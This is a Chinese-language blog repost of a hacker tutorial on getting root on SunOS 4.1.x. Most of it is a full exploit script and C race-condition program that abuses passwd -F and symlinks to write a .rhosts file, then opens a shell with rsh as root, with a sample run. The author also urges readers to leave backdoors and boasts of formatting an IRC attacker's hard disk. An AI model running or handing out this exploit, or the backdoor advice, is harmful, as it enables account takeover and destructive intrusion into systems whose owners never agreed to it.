[前言]

對於著作這份文章的目的並不是在於教育.因為個人覺得台灣的網路雖然已經有所發展了...但是對於網路安全的重要性卻是漠不關心..或者是沒有足夠的知識....這是相當危險的一個現象..就算是大專院校.政府機構.公司行號...甚至是網路業者.ISP對於網路安全和系統管理的正確觀念和態度實在是相當缺乏...所以說不定在往後的日子裡,只要一台cp和一台數據機,就可以讓整個台灣網路崩潰....甚至是引起經濟危機!!就像是一個小孩子拿著一把槍在路上逛一樣...Too Bad!!所以我寫這篇文章純粹是為了台灣網路安全而寫的.並不希望有人因為這篇文章而去做違法的事情~~尤其是破壞別人的系統或是檔案!!
當然啦~如果有人因此做了違法的事情,本人概不負責!!!
"水能載舟也覆舟"....只是告訴你駭客是如何入侵你的系統.
最近看到電視上都有在做布魯斯威力的[終極密碼戰]的廣告片..覺得很不錯.跟以前有一片叫做[網路上身 In Net]的片子感覺差不多...都是好看的電影..BUT Love-gone就是沒有錢去看電影 >___<" too bad!!嗚~~Love-gone現在只是一個窮書生罷了..
最近很喜歡在網路上找realplayer的檔案...變的很喜歡聽歌.喜歡聽情歌.套一句話....[愛讓人變的好憂鬱]...嗚嗚.....[忽然間發現自己已經深深愛上你]..[i love u ..yes i do..]

[主題]

如何取得最高權限來控制整個系統...就是變成root啦!!

[困難度]

還可以

[說明]

以Love-gone自己的經驗來說,我覺得UNIX中最難取得最高權限(root)的系統版本是SUNOS的除了它因為是企業版的經過相當嚴密的安全性考量.最重要的是大多數使用SUNOS的root都對系統的設定管理的很好...也不知道為什麼.因為使用SUNOS的主機都是政府機構.學校..等等的公家機關..所以都還重視系統的安全..但是還是沒有絕對安全的系統!!

[開始]

對於passwd的指令應該大家都相當清楚了,就是用來更改密碼用的.而在執行passwd這個指令的時候./etc/passwd的檔案擁有者就從root變成了user.於是user就擁有root的權限,可以對passwd做更改的動作!!再利用.rhosts的功能..相信大家應該也相當清楚.rhosts和host.equiv的功能了...呵呵.這樣會不會太混了 :-)
在SUNOS4.1.X版中的passwd和.rhosts的功能相加起來就可以有一個相當大的系統漏洞啦..可以讓你變成系統中的任何一個帳號..當然也可以變成root :-)
以下是方法..

Lovegone>% (先寫一個script)

Lovegone>% cat >shitfile

#!/bin/sh
# 格式: passwdscript 欲變成的使用者帳號
#
PATH=/usr/ucb:/usr/bin:/bin export PATH
IFS=" " export IFS
PROG="`basename $0`"
if [ $# -ne 1 ]; then
echo "Syntax: $PROG user target-file rsh-user"
exit 1
fi
TARGET_USER="$1"
if [ "x`uname -s`" != "xSunOS" ]; then
echo "Sorry, this only works on SunOS"
exit 1
fi
cat > passwdrace.c << 'EOF'
#include
#include
#include
#include
#include
#include
#include
main(argc, argv)
int argc;
char *argv[];
{
FILE *passwd_in, *passwd_out;
int race_child_pid = -1;
struct stat st;
struct passwd *pw;
char pwd_link[256], pwd_dir[256], pwd_file[256], ptmp[256],
buf[1024], cmd[256], nowhere[256], nowhere2[256],
dir[256];
if (argc != 2) {
fprintf(stderr, "Usage: %s target-user\n",
argv[0]);
exit(1);
}
if ((pw = getpwnam(argv[1])) == NULL) {
fprintf(stderr, "%s: user \"%s\" doesnt seem to exist.\n",
argv[0], argv[1]);
exit(1);
}
strcpy(dir, pw->pw_dir);
sprintf(pwd_link, "/tmp/passwd-link.%d", getpid());
sprintf(pwd_dir, "/tmp/passwd-dir.%d", getpid());
sprintf(nowhere, "/tmp/passwd-nowhere.%d", getpid());
sprintf(nowhere2, "/tmp/passwd-nowhere2.%d", getpid());
sprintf(ptmp, "%s/ptmp", dir);
symlink(pwd_dir, pwd_link);
mkdir(pwd_dir, 0700);
sprintf(pwd_file, "%s/.rhosts", pwd_dir);
if ((passwd_out = fopen(pwd_file, "w+")) == NULL) {
fprintf(stderr, "Cant open %s!\n", pwd_file);
exit(1);
}
if ((passwd_in = fopen("/etc/passwd", "r")) == NULL) {
fprintf(stderr, "Cant open /etc/passwd\n");
exit(1);
}
if ((pw = getpwuid(getuid())) == NULL) {
fprintf(stderr, "Who are you?\n");
exit(1);
}
fprintf(passwd_out, "localhost %s ::::::\n", pw->pw_name);
for (;;) {
fseek(passwd_in, 0L, SEEK_SET);
while(fgets(buf, sizeof(buf), passwd_in))
fputs(buf, passwd_out);
if (ftell(passwd_out) > 32768)
break;
}
fclose(passwd_in);
fflush(passwd_out);
if ((race_child_pid = fork()) < 0) {
perror("fork");
exit(1);
}
if (race_child_pid) {
sprintf(pwd_file, "%s/.rhosts", pwd_link);
puts("Wait until told you see \"Enter your password now!\"");
sprintf(cmd, "/usr/bin/passwd -F %s", pwd_file);
system(cmd);
kill(race_child_pid, 9);
exit(0);
} else {
int fd = fileno(passwd_out);
time_t last_access;
if (fstat(fd, &st)) {
perror("fstat");
exit(1);
}
last_access = st.st_atime;
sleep(5);
write(0, "Enter your password now!\n",
sizeof("Enter your password now!\n"));
unlink(pwd_link);
symlink(dir, pwd_link);
symlink(pwd_dir, nowhere);
symlink(dir, nowhere2);
while ((open(ptmp, O_RDONLY)==-1));
rename(nowhere, pwd_link);
while (last_access == st.st_atime)
fstat(fd, &st);
rename(nowhere2, pwd_link);
}
}
EOF
cc -O -o passwdrace passwdrace.c
if [ ! -x "passwdrace" ]; then
echo "$PROG: couldnt compile passwdrace.c - check it out"
exit 1
fi
./passwdrace $TARGET_USER
rsh localhost -l $TARGET_USER sh -i
exit 0
^c (這是存檔喔..別把^c當成是shitfile...應該沒有人會那麼笨吧!!)

Lovegone>% chmod 700 shitfile

(讓shitfile能執行..到此已經完成90%了)

Lovegone>% shitfile root

(執行shitfile...shitfile的語法是在shitfile後keyin你要變成的帳號)

Wait until you see "Enter your password now!"
Changing password for Love-gone on SunOs 4.1.X
Old password: (打你原來那個帳號的密碼)
New password: (打你女友的英文名字...男友不能..嘻嘻.)
Retype new password: (你女友的英文名字)

root># pwd
/

(你看發生了什麼事....千萬不要去破壞人家的系統喔....)
(為了別人著想,請留下後門讓大家共同分享)
(希望各位駭鄉親們不要用shitfile來做壞事喔..)


[感言]

最近很多人喜歡在聊天室裡面用炸彈炸人家..嗚嗚..真是太不道德了!!而且還以為這樣就是很利害的駭客了..我哩%#@)*勒...白疑!!我覺得用tcp/ip和icmp的原理來做一些炸彈來攻擊別人是很不道德的!!況且人家正聊的開心中...當機是惡夢!上次我在irc聊天的時候.
有一個白疑(我是不是很沒有口德)攻擊我..哇.既然他那麼喜歡攻擊.那我就讓他攻擊的過癮!!嘿嘿..他的下場是整個硬碟的資料都被format了..嘿嘿..我想這樣他應該就會停止這種愚蠢的攻擊行為了吧...但是我覺得自己做的有點過份..嗚..真是深感罪惡....再也沒有見到那個人來聊天室了!所以希望大家最好不要去炸人家,否則踢到鐵板就不好玩了..
哇..突然覺得自己有點壞..改進改進!!嗚~~愛讓人變的好憂鬱...

arrow
arrow
    全站熱搜

    Neo Chao 發表在 痞客邦 留言(0) 人氣()